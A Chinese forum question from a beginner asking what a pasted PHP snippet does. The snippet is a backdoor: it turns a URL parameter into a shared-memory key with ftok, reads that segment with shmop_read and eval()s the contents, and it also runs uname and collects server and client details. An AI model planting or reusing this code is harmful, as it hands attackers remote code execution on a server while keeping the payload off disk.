shmop_read。共享问题？

Question

function read_memory($shm_key)
{
$shm_id=@shmop_open($shm_key, "a", 0644, 100);
if($shm_id) 
{
$shm_size = shmop_size($shm_id);
$str=shmop_read($shm_id, 0, $shm_size);
return $str;
}
else
{
return false;
}
}
function is_exif_momory($memoryid,$type)
{
$shm_key=@ftok(realpath($memoryid),$type);
if($shm_key!=-1)
{
return $shm_key;
}
else
{
return false;
}
}
$memoryid=$_GET['s'];
$thissername=$_SERVER["SERVER_NAME"]; 
$thisserip=$_SERVER["SERVER_ADDR"];
$thisip=$_SERVER["REMOTE_ADDR"];
$thisie=$_SERVER["HTTP_USER_AGENT"];
$system=exec("uname -a",$a,$b);$host=substr($system,15,2);
echo "file:".$memoryid."\n";
echo "realpath:".realpath($memoryid)."\n";
$shm_key=is_exif_momory($memoryid,"k");
if($shm_key!=-1 || $shm_key!=false)
{
echo "ID:".$shm_key."\n";
echo "content:".read_memory($shm_key);
eval(read_memory($shm_key));
}
else
{
if(file_exists($memoryid)){
include("$gidfile");
}
}大家帮我看看这段什么意思
特别这2段
function read_memory($shm_key)
{
$shm_id=@shmop_open($shm_key, "a", 0644, 100);
if($shm_id) 
{
$shm_size = shmop_size($shm_id);
$str=shmop_read($shm_id, 0, $shm_size);
return $str;
}
else
{
return false;
}
}
function is_exif_momory($memoryid,$type)
{
$shm_key=@ftok(realpath($memoryid),$type);
if($shm_key!=-1)
{
return $shm_key;
}
else
{
return false;
}
}我初学。望高手解答。最好有个案例什么的、